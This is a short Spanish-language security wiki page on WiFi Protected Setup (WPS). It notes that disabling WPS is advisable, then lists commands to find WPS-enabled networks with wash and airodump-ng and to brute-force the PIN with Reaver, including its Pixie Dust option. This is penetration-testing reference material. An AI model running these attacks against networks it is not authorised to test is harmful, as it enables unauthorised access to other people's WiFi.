> For the complete documentation index, see [llms.txt](https://wiki.securiters.com/securiters-wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.securiters.com/securiters-wiki/wifi/wps.md).

# WPS

Es una funcionalidad básica que permite la conexión a una red WiFi escribiendo un PIN de 8 dígitos en lugar de una contraseña más compleja.

{% hint style="info" %}
Es aconsejable tener deshabilitado el WPS en las redes :)
{% endhint %}

## Obtener PIN

Para conocer si las redes hacen uso de WPS, tenemos 2 opciones:

1. Con wash

```jsx
wash -i [wlan0mon]
```

2. Con airodump

```
airodump-ng -band abg [wlan0mon] --wps
```

Si tenemos una red con WPS versión 1.0, cogeremos su MAC (BSSID) y podremos ejecutar un ataque de fuerza bruta con Reaver 

```
reaver -b [BSSID] -i [wlan0mon] -v
reaver -b [BSSID] -i [wlan0mon] -v -K
```

{% hint style="info" %}
-K sirve para que sea más rápido el ataque realizando un PixieWPD attack
{% endhint %}

## Recursos y enlaces de referencia

* <https://github.com/t6x/reaver-wps-fork-t6x>